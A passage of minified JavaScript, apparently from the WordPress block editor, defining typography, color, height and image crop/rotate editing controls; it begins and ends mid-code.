filter"),u=`${(0,p.useInstanceId)(e,"duotone-control",t)}__description`;return(0,Nt.jsx)(ne.Dropdown,{popoverProps:{className:"block-editor-duotone-control__popover",headerTitle:(0,Je.__)("Duotone")},renderToggle:({isOpen:e,onToggle:t})=>(0,Nt.jsx)(ne.ToolbarButton,{showTooltip:!0,onClick:t,"aria-haspopup":"true","aria-expanded":e,onKeyDown:n=>{e||n.keyCode!==sd.DOWN||(n.preventDefault(),t())},label:c,icon:a}),renderContent:()=>(0,Nt.jsxs)(ne.MenuGroup,{label:(0,Je.__)("Duotone"),children:[(0,Nt.jsx)("p",{children:(0,Je.__)("Create a two-tone color effect without losing your original image.")}),(0,Nt.jsx)(ne.DuotonePicker,{"aria-label":c,"aria-describedby":u,colorPalette:n,duotonePalette:o,disableCustomColors:i,disableCustomDuotone:r,value:l,onChange:s})]})})};function rw(e){if(!e)return{};if("object"==typeof e)return e;let t;switch(e){case"normal":case"400":t=(0,Je._x)("Regular","font weight");break;case"bold":case"700":t=(0,Je._x)("Bold","font weight");break;case"100":t=(0,Je._x)("Thin","font weight");break;case"200":t=(0,Je._x)("Extra Light","font weight");break;case"300":t=(0,Je._x)("Light","font weight");break;case"500":t=(0,Je._x)("Medium","font weight");break;case"600":t=(0,Je._x)("Semi Bold","font weight");break;case"800":t=(0,Je._x)("Extra Bold","font weight");break;case"900":t=(0,Je._x)("Black","font weight");break;case"1000":t=(0,Je._x)("Extra Black","font weight");break;default:t=e}return{name:t,value:e}}const lw=[{name:(0,Je._x)("Regular","font style"),value:"normal"},{name:(0,Je._x)("Italic","font style"),value:"italic"}],sw=[{name:(0,Je._x)("Thin","font weight"),value:"100"},{name:(0,Je._x)("Extra Light","font weight"),value:"200"},{name:(0,Je._x)("Light","font weight"),value:"300"},{name:(0,Je._x)("Regular","font weight"),value:"400"},{name:(0,Je._x)("Medium","font weight"),value:"500"},{name:(0,Je._x)("Semi Bold","font weight"),value:"600"},{name:(0,Je._x)("Bold","font weight"),value:"700"},{name:(0,Je._x)("Extra Bold","font weight"),value:"800"},{name:(0,Je._x)("Black","font weight"),value:"900"},{name:(0,Je._x)("Extra Black","font weight"),value:"1000"}];function aw(e){let t=[],n=[];const o=[],i=!e||0===(null==e?void 0:e.length);let r=!1;return null==e||e.forEach((e=>{if("string"==typeof e.fontWeight&&/\s/.test(e.fontWeight.trim())){r=!0;let[t,o]=e.fontWeight.split(" ");t=parseInt(t.slice(0,1)),o="1000"===o?10:parseInt(o.slice(0,1));for(let e=t;e<=o;e++){const t=`${e.toString()}00`;n.some((e=>e.value===t))||n.push(rw(t))}}const o=rw("number"==typeof e.fontWeight?e.fontWeight.toString():e.fontWeight),i=function(e){if(!e)return{};if("object"==typeof e)return e;let t;switch(e){case"normal":t=(0,Je._x)("Regular","font style");break;case"italic":t=(0,Je._x)("Italic","font style");break;case"oblique":t=(0,Je._x)("Oblique","font style");break;default:t=e}return{name:t,value:e}}(e.fontStyle);i&&Object.keys(i).length&&(t.some((e=>e.value===i.value))||t.push(i)),o&&Object.keys(o).length&&(n.some((e=>e.value===o.value))||r||n.push(o))})),n.some((e=>e.value>="600"))||n.push({name:(0,Je._x)("Bold","font weight"),value:"700"}),t.some((e=>"italic"===e.value))||t.push({name:(0,Je._x)("Italic","font style"),value:"italic"}),i&&(t=lw,n=sw),t=0===t.length?lw:t,n=0===n.length?sw:n,t.forEach((({name:e,value:t})=>{n.forEach((({name:n,value:i})=>{const r="normal"===t?n:(0,Je.sprintf)(/* translators: 1: Font weight name. 2: Font style name. */ /* translators: 1: Font weight name. 2: Font style name. */(0,Je.__)("%1$s %2$s"),n,e);o.push({key:`${t}-${i}`,name:r,style:{fontStyle:t,fontWeight:i}})}))})),{fontStyles:t,fontWeights:n,combinedStyleAndWeightOptions:o,isSystemFont:i,isVariableFont:r}}const cw=(e,t)=>e?t?(0,Je.__)("Appearance"):(0,Je.__)("Font style"):(0,Je.__)("Font weight");function uw(e){const{__next40pxDefaultSize:t=!1,onChange:n,hasFontStyles:o=!0,hasFontWeights:i=!0,fontFamilyFaces:r,value:{fontStyle:l,fontWeight:s},...a}=e,c=o||i,d=cw(o,i),p={key:"default",name:(0,Je.__)("Default"),style:{fontStyle:void 0,fontWeight:void 0}},{fontStyles:h,fontWeights:g,combinedStyleAndWeightOptions:f}=aw(r),m=(0,u.useMemo)((()=>o&&i?(()=>{const e=[p];return f&&e.push(...f),e})():o?(()=>{const e=[p];return h.forEach((({name:t,value:n})=>{e.push({key:n,name:t,style:{fontStyle:n,fontWeight:void 0}})})),e})():(()=>{const e=[p];return g.forEach((({name:t,value:n})=>{e.push({key:n,name:t,style:{fontStyle:void 0,fontWeight:n}})})),e})()),[e.options,h,g,f]),v=m.find((e=>e.style.fontStyle===l&&e.style.fontWeight===s))||m[0];return t||void 0!==a.size&&"default"!==a.size||Ye()("36px default size for wp.blockEditor.__experimentalFontAppearanceControl",{since:"6.8",version:"7.1",hint:"Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version."}),c&&(0,Nt.jsx)(ne.CustomSelectControl,{...a,className:"components-font-appearance-control",__next40pxDefaultSize:t,__shouldNotWarnDeprecated36pxSize:!0,label:d,describedBy:v?o?i?(0,Je.sprintf)(// translators: %s: Currently selected font appearance. // translators: %s: Currently selected font appearance. (0,Je.__)("Currently selected font appearance: %s"),v.name):(0,Je.sprintf)(// translators: %s: Currently selected font style. // translators: %s: Currently selected font style. (0,Je.__)("Currently selected font style: %s"),v.name):(0,Je.sprintf)(// translators: %s: Currently selected font weight. // translators: %s: Currently selected font weight. (0,Je.__)("Currently selected font weight: %s"),v.name):(0,Je.__)("No selected font appearance"),options:m,value:v,onChange:({selectedItem:e})=>n(e.style)})}function dw({__next40pxDefaultSize:e=!1,__nextHasNoMarginBottom:t=!1,value:n="",onChange:o,fontFamilies:i,className:r,...l}){var s;const[a]=Vs("typography.fontFamilies");if(i||(i=a),!i||0===i.length)return null;const c=[{key:"",name:(0,Je.__)("Default")},...i.map((({fontFamily:e,name:t})=>({key:e,name:t||e,style:{fontFamily:e}})))];t||Ye()("Bottom margin styles for wp.blockEditor.FontFamilyControl",{since:"6.7",version:"7.0",hint:"Set the `__nextHasNoMarginBottom` prop to true to start opting into the new styles, which will become the default in a future version"}),e||void 0!==l.size&&"default"!==l.size||Ye()("36px default size for wp.blockEditor.__experimentalFontFamilyControl",{since:"6.8",version:"7.1",hint:"Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version."});const u=null!==(s=c.find((e=>e.key===n)))&&void 0!==s?s:"";return(0,Nt.jsx)(ne.CustomSelectControl,{__next40pxDefaultSize:e,__shouldNotWarnDeprecated36pxSize:!0,label:(0,Je.__)("Font"),value:u,onChange:({selectedItem:e})=>o(e.key),options:c,className:ms("block-editor-font-family-control",r,{"is-next-has-no-margin-bottom":t}),...l})}function pw({__next40pxDefaultSize:e=!1,value:t,onChange:n,__unstableInputWidth:o="60px",...i}){const[r]=Vs("spacing.units"),l=(0,ne.__experimentalUseCustomUnits)({availableUnits:r||["px","em","rem"],defaultValues:{px:2,em:.2,rem:.2}});return e||void 0!==i.size&&"default"!==i.size||Ye()("36px default size for wp.blockEditor.__experimentalLetterSpacingControl",{since:"6.8",version:"7.1",hint:"Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version."}),(0,Nt.jsx)(ne.__experimentalUnitControl,{__next40pxDefaultSize:e,__shouldNotWarnDeprecated36pxSize:!0,...i,label:(0,Je.__)("Letter spacing"),value:t,__unstableInputWidth:o,units:l,onChange:n})}const hw=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M7 11.5h10V13H7z"})}),gw=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M7 18v1h10v-1H7zm5-2c1.5 0 2.6-.4 3.4-1.2.8-.8 1.1-2 1.1-3.5V5H15v5.8c0 1.2-.2 2.1-.6 2.8-.4.7-1.2 1-2.4 1s-2-.3-2.4-1c-.4-.7-.6-1.6-.6-2.8V5H7.5v6.2c0 1.5.4 2.7 1.1 3.5.8.9 1.9 1.3 3.4 1.3z"})}),fw=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M9.1 9v-.5c0-.6.2-1.1.7-1.4.5-.3 1.2-.5 2-.5.7 0 1.4.1 2.1.3.7.2 1.4.5 2.1.9l.2-1.9c-.6-.3-1.2-.5-1.9-.7-.8-.1-1.6-.2-2.4-.2-1.5 0-2.7.3-3.6 1-.8.7-1.2 1.5-1.2 2.6V9h2zM20 12H4v1h8.3c.3.1.6.2.8.3.5.2.9.5 1.1.8.3.3.4.7.4 1.2 0 .7-.2 1.1-.8 1.5-.5.3-1.2.5-2.1.5-.8 0-1.6-.1-2.4-.3-.8-.2-1.5-.5-2.2-.8L7 18.1c.5.2 1.2.4 2 .6.8.2 1.6.3 2.4.3 1.7 0 3-.3 3.9-1 .9-.7 1.3-1.6 1.3-2.8 0-.9-.2-1.7-.7-2.2H20v-1z"})}),mw=[{label:(0,Je.__)("None"),value:"none",icon:hw},{label:(0,Je.__)("Underline"),value:"underline",icon:gw},{label:(0,Je.__)("Strikethrough"),value:"line-through",icon:fw}];function vw({value:e,onChange:t,className:n}){return(0,Nt.jsx)(ne.__experimentalToggleGroupControl,{isDeselectable:!0,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,Je.__)("Decoration"),className:ms("block-editor-text-decoration-control",n),value:e,onChange:n=>{t(n===e?void 0:n)},children:mw.map((e=>(0,Nt.jsx)(ne.__experimentalToggleGroupControlOptionIcon,{value:e.value,icon:e.icon,label:e.label},e.value)))})}const bw=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M6.1 6.8L2.1 18h1.6l1.1-3h4.3l1.1 3h1.6l-4-11.2H6.1zm-.8 6.8L7 8.9l1.7 4.7H5.3zm15.1-.7c-.4-.5-.9-.8-1.6-1 .4-.2.7-.5.8-.9.2-.4.3-.9.3-1.4 0-.9-.3-1.6-.8-2-.6-.5-1.3-.7-2.4-.7h-3.5V18h4.2c1.1 0 2-.3 2.6-.8.6-.6 1-1.4 1-2.4-.1-.8-.3-1.4-.6-1.9zm-5.7-4.7h1.8c.6 0 1.1.1 1.4.4.3.2.5.7.5 1.3 0 .6-.2 1.1-.5 1.3-.3.2-.8.4-1.4.4h-1.8V8.2zm4 8c-.4.3-.9.5-1.5.5h-2.6v-3.8h2.6c1.4 0 2 .6 2 1.9.1.6-.1 1-.5 1.4z"})}),kw=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M11 16.8c-.1-.1-.2-.3-.3-.5v-2.6c0-.9-.1-1.7-.3-2.2-.2-.5-.5-.9-.9-1.2-.4-.2-.9-.3-1.6-.3-.5 0-1 .1-1.5.2s-.9.3-1.2.6l.2 1.2c.4-.3.7-.4 1.1-.5.3-.1.7-.2 1-.2.6 0 1 .1 1.3.4.3.2.4.7.4 1.4-1.2 0-2.3.2-3.3.7s-1.4 1.1-1.4 2.1c0 .7.2 1.2.7 1.6.4.4 1 .6 1.8.6.9 0 1.7-.4 2.4-1.2.1.3.2.5.4.7.1.2.3.3.6.4.3.1.6.1 1.1.1h.1l.2-1.2h-.1c-.4.1-.6 0-.7-.1zM9.2 16c-.2.3-.5.6-.9.8-.3.1-.7.2-1.1.2-.4 0-.7-.1-.9-.3-.2-.2-.3-.5-.3-.9 0-.6.2-1 .7-1.3.5-.3 1.3-.4 2.5-.5v2zm10.6-3.9c-.3-.6-.7-1.1-1.2-1.5-.6-.4-1.2-.6-1.9-.6-.5 0-.9.1-1.4.3-.4.2-.8.5-1.1.8V6h-1.4v12h1.3l.2-1c.2.4.6.6 1 .8.4.2.9.3 1.4.3.7 0 1.2-.2 1.8-.5.5-.4 1-.9 1.3-1.5.3-.6.5-1.3.5-2.1-.1-.6-.2-1.3-.5-1.9zm-1.7 4c-.4.5-.9.8-1.6.8s-1.2-.2-1.7-.7c-.4-.5-.7-1.2-.7-2.1 0-.9.2-1.6.7-2.1.4-.5 1-.7 1.7-.7s1.2.3 1.6.8c.4.5.6 1.2.6 2s-.2 1.4-.6 2z"})}),_w=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M7.1 6.8L3.1 18h1.6l1.1-3h4.3l1.1 3h1.6l-4-11.2H7.1zm-.8 6.8L8 8.9l1.7 4.7H6.3zm14.5-1.5c-.3-.6-.7-1.1-1.2-1.5-.6-.4-1.2-.6-1.9-.6-.5 0-.9.1-1.4.3-.4.2-.8.5-1.1.8V6h-1.4v12h1.3l.2-1c.2.4.6.6 1 .8.4.2.9.3 1.4.3.7 0 1.2-.2 1.8-.5.5-.4 1-.9 1.3-1.5.3-.6.5-1.3.5-2.1-.1-.6-.2-1.3-.5-1.9zm-1.7 4c-.4.5-.9.8-1.6.8s-1.2-.2-1.7-.7c-.4-.5-.7-1.2-.7-2.1 0-.9.2-1.6.7-2.1.4-.5 1-.7 1.7-.7s1.2.3 1.6.8c.4.5.6 1.2.6 2 .1.8-.2 1.4-.6 2z"})}),yw=[{label:(0,Je.__)("None"),value:"none",icon:hw},{label:(0,Je.__)("Uppercase"),value:"uppercase",icon:bw},{label:(0,Je.__)("Lowercase"),value:"lowercase",icon:kw},{label:(0,Je.__)("Capitalize"),value:"capitalize",icon:_w}];function xw({className:e,value:t,onChange:n}){return(0,Nt.jsx)(ne.__experimentalToggleGroupControl,{isDeselectable:!0,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,Je.__)("Letter case"),className:ms("block-editor-text-transform-control",e),value:t,onChange:e=>{n(e===t?void 0:e)},children:yw.map((e=>(0,Nt.jsx)(ne.__experimentalToggleGroupControlOptionIcon,{value:e.value,icon:e.icon,label:e.label},e.value)))})}const Sw=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M8.2 14.4h3.9L13 17h1.7L11 6.5H9.3L5.6 17h1.7l.9-2.6zm2-5.5 1.4 4H8.8l1.4-4zm7.4 7.5-1.3.8.8 1.4H5.5V20h14.3l-2.2-3.6z"})}),ww=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M7 5.6v1.7l2.6.9v3.9L7 13v1.7L17.5 11V9.3L7 5.6zm4.2 6V8.8l4 1.4-4 1.4zm-5.7 5.6V5.5H4v14.3l3.6-2.2-.8-1.3-1.3.9z"})}),Cw=[{label:(0,Je.__)("Horizontal"),value:"horizontal-tb",icon:Sw},{label:(0,Je.__)("Vertical"),value:(0,Je.isRTL)()?"vertical-lr":"vertical-rl",icon:ww}];function Bw({className:e,value:t,onChange:n}){return(0,Nt.jsx)(ne.__experimentalToggleGroupControl,{isDeselectable:!0,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,Je.__)("Orientation"),className:ms("block-editor-writing-mode-control",e),value:t,onChange:e=>{n(e===t?void 0:e)},children:Cw.map((e=>(0,Nt.jsx)(ne.__experimentalToggleGroupControlOptionIcon,{value:e.value,icon:e.icon,label:e.label},e.value)))})}const Iw=({setting:e,children:t,panelId:n,...o})=>(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{hasValue:()=>!!e.colorValue||!!e.gradientValue,label:e.label,onDeselect:()=>{e.colorValue?e.onColorChange():e.gradientValue&&e.onGradientChange()},isShownByDefault:void 0===e.isShownByDefault||e.isShownByDefault,...o,className:"block-editor-tools-panel-color-gradient-settings__item",panelId:n,resetAllFilter:e.resetAllFilter,children:t}),jw=({colorValue:e,label:t})=>(0,Nt.jsxs)(ne.__experimentalHStack,{justify:"flex-start",children:[(0,Nt.jsx)(ne.ColorIndicator,{className:"block-editor-panel-color-gradient-settings__color-indicator",colorValue:e}),(0,Nt.jsx)(ne.FlexItem,{className:"block-editor-panel-color-gradient-settings__color-name",title:t,children:t})]}),Ew=e=>({onToggle:t,isOpen:n})=>{const{clearable:o,colorValue:i,gradientValue:r,onColorChange:l,onGradientChange:s,label:a}=e,c=(0,u.useRef)(void 0),d={onClick:t,className:ms("block-editor-panel-color-gradient-settings__dropdown",{"is-open":n}),"aria-expanded":n,ref:c},p=null!=i?i:r;return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,...d,children:(0,Nt.jsx)(jw,{colorValue:p,label:a})}),o&&p&&(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,label:(0,Je.__)("Reset"),className:"block-editor-panel-color-gradient-settings__reset",size:"small",icon:hw,onClick:()=>{var e;i?l():r&&s(),n&&t(),null===(e=c.current)||void 0===e||e.focus()}})]})};function Tw({colors:e,disableCustomColors:t,disableCustomGradients:n,enableAlpha:o,gradients:i,settings:r,__experimentalIsRenderedInSidebar:l,...s}){let a;return l&&(a={placement:"left-start",offset:36,shift:!0}),(0,Nt.jsx)(Nt.Fragment,{children:r.map(((r,c)=>{const u={clearable:!1,colorValue:r.colorValue,colors:e,disableCustomColors:t,disableCustomGradients:n,enableAlpha:o,gradientValue:r.gradientValue,gradients:i,label:r.label,onColorChange:r.onColorChange,onGradientChange:r.onGradientChange,showTitle:!1,__experimentalIsRenderedInSidebar:l,...r},d={clearable:r.clearable,label:r.label,colorValue:r.colorValue,gradientValue:r.gradientValue,onColorChange:r.onColorChange,onGradientChange:r.onGradientChange};return r&&(0,Nt.jsx)(Iw,{setting:r,...s,children:(0,Nt.jsx)(ne.Dropdown,{popoverProps:a,className:"block-editor-tools-panel-color-gradient-settings__dropdown",renderToggle:Ew(d),renderContent:()=>(0,Nt.jsx)(ne.__experimentalDropdownContentWrapper,{paddingSize:"none",children:(0,Nt.jsx)("div",{className:"block-editor-panel-color-gradient-settings__dropdown-content",children:(0,Nt.jsx)(YS,{...u})})})})},c)}))})}function Pw(){const[e,t,n,o,i,r,l,s,a,c]=Vs("color.custom","color.palette.custom","color.palette.theme","color.palette.default","color.defaultPalette","color.customGradient","color.gradients.custom","color.gradients.theme","color.gradients.default","color.defaultGradients"),d={disableCustomColors:!e,disableCustomGradients:!r};return d.colors=(0,u.useMemo)((()=>{const e=[];return n&&n.length&&e.push({name:(0,Je._x)("Theme","Indicates this palette comes from the theme."),slug:"theme",colors:n}),i&&o&&o.length&&e.push({name:(0,Je._x)("Default","Indicates this palette comes from WordPress."),slug:"default",colors:o}),t&&t.length&&e.push({name:(0,Je._x)("Custom","Indicates this palette is created by the user."),slug:"custom",colors:t}),e}),[t,n,o,i]),d.gradients=(0,u.useMemo)((()=>{const e=[];return s&&s.length&&e.push({name:(0,Je._x)("Theme","Indicates this palette comes from the theme."),slug:"theme",gradients:s}),c&&a&&a.length&&e.push({name:(0,Je._x)("Default","Indicates this palette comes from WordPress."),slug:"default",gradients:a}),l&&l.length&&e.push({name:(0,Je._x)("Custom","Indicates this palette is created by the user."),slug:"custom",gradients:l}),e}),[l,s,a,c]),d.hasColorsOrGradients=!!d.colors.length||!!d.gradients.length,d}const Mw=["colors","disableCustomColors","gradients","disableCustomGradients"],Rw=({className:e,colors:t,gradients:n,disableCustomColors:o,disableCustomGradients:i,children:r,settings:l,title:s,showTitle:a=!0,__experimentalIsRenderedInSidebar:c,enableAlpha:u})=>{const h=(0,p.useInstanceId)(Rw),{batch:g}=(0,d.useRegistry)();return t&&0!==t.length||n&&0!==n.length||!o||!i||null==l||!l.every((e=>(!e.colors||0===e.colors.length)&&(!e.gradients||0===e.gradients.length)&&(void 0===e.disableCustomColors||e.disableCustomColors)&&(void 0===e.disableCustomGradients||e.disableCustomGradients)))?(0,Nt.jsxs)(ne.__experimentalToolsPanel,{className:ms("block-editor-panel-color-gradient-settings",e),label:a?s:void 0,resetAll:()=>{g((()=>{l.forEach((({colorValue:e,gradientValue:t,onColorChange:n,onGradientChange:o})=>{e?n():t&&o()}))}))},panelId:h,__experimentalFirstVisibleItemClass:"first",__experimentalLastVisibleItemClass:"last",children:[(0,Nt.jsx)(Tw,{settings:l,panelId:h,colors:t,gradients:n,disableCustomColors:o,disableCustomGradients:i,__experimentalIsRenderedInSidebar:c,enableAlpha:u}),!!r&&(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.__experimentalSpacer,{marginY:4})," ",r]})]}):null},Nw=e=>{const t=Pw();return(0,Nt.jsx)(Rw,{...t,...e})},Aw=e=>Mw.every((t=>e.hasOwnProperty(t)))?(0,Nt.jsx)(Rw,{...e}):(0,Nt.jsx)(Nw,{...e}),Lw={px:{max:1e3,step:1},"%":{max:100,step:1},vw:{max:100,step:1},vh:{max:100,step:1},em:{max:50,step:.1},rem:{max:50,step:.1},svw:{max:100,step:1},lvw:{max:100,step:1},dvw:{max:100,step:1},svh:{max:100,step:1},lvh:{max:100,step:1},dvh:{max:100,step:1},vi:{max:100,step:1},svi:{max:100,step:1},lvi:{max:100,step:1},dvi:{max:100,step:1},vb:{max:100,step:1},svb:{max:100,step:1},lvb:{max:100,step:1},dvb:{max:100,step:1},vmin:{max:100,step:1},svmin:{max:100,step:1},lvmin:{max:100,step:1},dvmin:{max:100,step:1},vmax:{max:100,step:1},svmax:{max:100,step:1},lvmax:{max:100,step:1},dvmax:{max:100,step:1}};function Dw({label:e=(0,Je.__)("Height"),onChange:t,value:n}){var o,i,r,l,s;const a=parseFloat(n),[c]=Vs("spacing.units"),d=(0,ne.__experimentalUseCustomUnits)({availableUnits:c||["%","px","em","rem","vh","vw"]}),p=(0,u.useMemo)((()=>(0,ne.__experimentalParseQuantityAndUnitFromRawValue)(n)),[n])[1]||(null===(o=d[0])||void 0===o?void 0:o.value)||"px";return(0,Nt.jsxs)("fieldset",{className:"block-editor-height-control",children:[(0,Nt.jsx)(ne.BaseControl.VisualLabel,{as:"legend",children:e}),(0,Nt.jsxs)(ne.Flex,{children:[(0,Nt.jsx)(ne.FlexItem,{isBlock:!0,children:(0,Nt.jsx)(ne.__experimentalUnitControl,{value:n,units:d,onChange:t,onUnitChange:e=>{const[o,i]=(0,ne.__experimentalParseQuantityAndUnitFromRawValue)(n);["em","rem"].includes(e)&&"px"===i?t((o/16).toFixed(2)+e):["em","rem"].includes(i)&&"px"===e?t(Math.round(16*o)+e):["%","vw","svw","lvw","dvw","vh","svh","lvh","dvh","vi","svi","lvi","dvi","vb","svb","lvb","dvb","vmin","svmin","lvmin","dvmin","vmax","svmax","lvmax","dvmax"].includes(e)&&o>100&&t(100+e)},min:0,size:"__unstable-large",label:e,hideLabelFromVision:!0})}),(0,Nt.jsx)(ne.FlexItem,{isBlock:!0,children:(0,Nt.jsx)(ne.__experimentalSpacer,{marginX:2,marginBottom:0,children:(0,Nt.jsx)(ne.RangeControl,{__next40pxDefaultSize:!0,value:a,min:0,max:null!==(i=null===(r=Lw[p])||void 0===r?void 0:r.max)&&void 0!==i?i:100,step:null!==(l=null===(s=Lw[p])||void 0===s?void 0:s.step)&&void 0!==l?l:.1,withInputField:!1,onChange:e=>{t([e,p].join(""))},__nextHasNoMarginBottom:!0,label:e,hideLabelFromVision:!0})})})]})]})}const Ow={crop:(0,Je.__)("Image cropped."),rotate:(0,Je.__)("Image rotated."),cropAndRotate:(0,Je.__)("Image cropped and rotated.")},zw=(0,u.createContext)({}),Fw=()=>(0,u.useContext)(zw);function Vw({id:e,url:t,naturalWidth:n,naturalHeight:o,onFinishEditing:i,onSaveImage:r,children:l}){const s=function({url:e,naturalWidth:t,naturalHeight:n}){const[o,i]=(0,u.useState)(),[r,l]=(0,u.useState)(),[s,a]=(0,u.useState)({x:0,y:0}),[c,d]=(0,u.useState)(100),[p,g]=(0,u.useState)(0),f=t/n,[m,v]=(0,u.useState)(f),b=(0,u.useCallback)((()=>{const t=(p+90)%360;let n=f;if(p%180==90&&(n=1/f),0===t)return i(),g(t),v(f),void a((e=>({x:-e.y*n,y:e.x*n})));const o=new window.Image;o.src=e,o.onload=function(e){const o=document.createElement("canvas");let r=0,l=0;t%180?(o.width=e.target.height,o.height=e.target.width):(o.width=e.target.width,o.height=e.target.height),90!==t&&180!==t||(r=o.width),270!==t&&180!==t||(l=o.height);const s=o.getContext("2d");s.translate(r,l),s.rotate(t*Math.PI/180),s.drawImage(e.target,0,0),o.toBlob((e=>{i(URL.createObjectURL(e)),g(t),v(o.width/o.height),a((e=>({x:-e.y*n,y:e.x*n})))}))};const r=(0,h.applyFilters)("media.crossOrigin",void 0,e);"string"==typeof r&&(o.crossOrigin=r)}),[p,f,e]);return(0,u.useMemo)((()=>({editedUrl:o,setEditedUrl:i,crop:r,setCrop:l,position:s,setPosition:a,zoom:c,setZoom:d,rotation:p,setRotation:g,rotateClockwise:b,aspect:m,setAspect:v,defaultAspect:f})),[o,r,s,c,p,b,m,f])}({url:t,naturalWidth:n,naturalHeight:o}),a=function({crop:e,rotation:t,url:n,id:o,onSaveImage:i,onFinishEditing:r}){const{createErrorNotice:l,createSuccessNotice:s}=(0,d.useDispatch)($p.store),[a,c]=(0,u.useState)(!1),p=(0,u.useCallback)((()=>{c(!1),r()}),[r]),h=(0,u.useCallback)((()=>{c(!0);const a=[];if(t>0&&a.push({type:"rotate",args:{angle:t}}),(e.width<99.9||e.height<99.9)&&a.push({type:"crop",args:{left:e.x,top:e.y,width:e.width,height:e.height}}),0===a.length)return c(!1),void r();const u=1===a.length?a[0].type:"cropAndRotate";$a()({path:`/wp/v2/media/${o}/edit`,method:"POST",data:{src:n,modifiers:a}}).then((e=>{i({id:e.id,url:e.source_url}),s(Ow[u],{type:"snackbar",actions:[{label:(0,Je.__)("Undo"),onClick:()=>{i({id:o,url:n})}}]})})).catch((e=>{l((0,Je.sprintf)(/* translators: %s: Error message. */ /* translators: %s: Error message. */(0,Je.__)("Could not edit image. %s"),(0,Cp.__unstableStripHTML)(e.message)),{id:"image-editing-error",type:"snackbar"})})).finally((()=>{c(!1),r()}))}),[e,t,o,n,i,l,s,r]);return(0,u.useMemo)((()=>({isInProgress:a,apply:h,cancel:p})),[a,h,p])}({id:e,url:t,onSaveImage:r,onFinishEditing:i,...s}),c=(0,u.useMemo)((()=>({...s,...a})),[s,a]);return(0,Nt.jsx)(zw.Provider,{value:c,children:l})}var Hw=n(2796),Gw=n.n(Hw);function $w(e,t,n,o,i){void 0===i&&(i=0);var r=Xw(t.width,t.height,i),l=r.width,s=r.height;return{x:Uw(e.x,l,n.width,o),y:Uw(e.y,s,n.height,o)}}function Uw(e,t,n,o){var i=t*o/2-n/2;return Qw(e,-i,i)}function Ww(e,t){return Math.sqrt(Math.pow(e.y-t.y,2)+Math.pow(e.x-t.x,2))}function Kw(e,t){return 180*Math.atan2(t.y-e.y,t.x-e.x)/Math.PI}function Zw(e,t){return Math.min(e,Math.max(0,t))}function qw(e,t){return t}function Yw(e,t){return{x:(t.x+e.x)/2,y:(t.y+e.y)/2}}function Xw(e,t,n){var o=n*Math.PI/180;return{width:Math.abs(Math.cos(o)*e)+Math.abs(Math.sin(o)*t),height:Math.abs(Math.sin(o)*e)+Math.abs(Math.cos(o)*t)}}function Qw(e,t,n){return Math.min(Math.max(e,t),n)}function Jw(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return e.filter((function(e){return"string"==typeof e&&e.length>0})).join(" ").trim()}var eC=function(e){function t(){var n=null!==e&&e.apply(this,arguments)||this;return n.imageRef=ff.createRef(),n.videoRef=ff.createRef(),n.containerPosition={x:0,y:0},n.containerRef=null,n.styleRef=null,n.containerRect=null,n.mediaSize={width:0,height:0,naturalWidth:0,naturalHeight:0},n.dragStartPosition={x:0,y:0},n.dragStartCrop={x:0,y:0},n.gestureZoomStart=0,n.gestureRotationStart=0,n.isTouching=!1,n.lastPinchDistance=0,n.lastPinchRotation=0,n.rafDragTimeout=null,n.rafPinchTimeout=null,n.wheelTimer=null,n.currentDoc="undefined"!=typeof document?document:null,n.currentWindow="undefined"!=typeof window?window:null,n.resizeObserver=null,n.state={cropSize:null,hasWheelJustStarted:!1,mediaObjectFit:void 0},n.initResizeObserver=function(){if(void 0!==window.ResizeObserver&&n.containerRef){var e=!0;n.resizeObserver=new window.ResizeObserver((function(t){e?e=!1:n.computeSizes()})),n.resizeObserver.observe(n.containerRef)}},n.preventZoomSafari=function(e){return e.preventDefault()},n.cleanEvents=function(){n.currentDoc&&(n.currentDoc.removeEventListener("mousemove",n.onMouseMove),n.currentDoc.removeEventListener("mouseup",n.onDragStopped),n.currentDoc.removeEventListener("touchmove",n.onTouchMove),n.currentDoc.removeEventListener("touchend",n.onDragStopped),n.currentDoc.removeEventListener("gesturemove",n.onGestureMove),n.currentDoc.removeEventListener("gestureend",n.onGestureEnd),n.currentDoc.removeEventListener("scroll",n.onScroll))},n.clearScrollEvent=function(){n.containerRef&&n.containerRef.removeEventListener("wheel",n.onWheel),n.wheelTimer&&clearTimeout(n.wheelTimer)},n.onMediaLoad=function(){var e=n.computeSizes();e&&(n.emitCropData(),n.setInitialCrop(e)),n.props.onMediaLoaded&&n.props.onMediaLoaded(n.mediaSize)},n.setInitialCrop=function(e){if(n.props.initialCroppedAreaPercentages){var 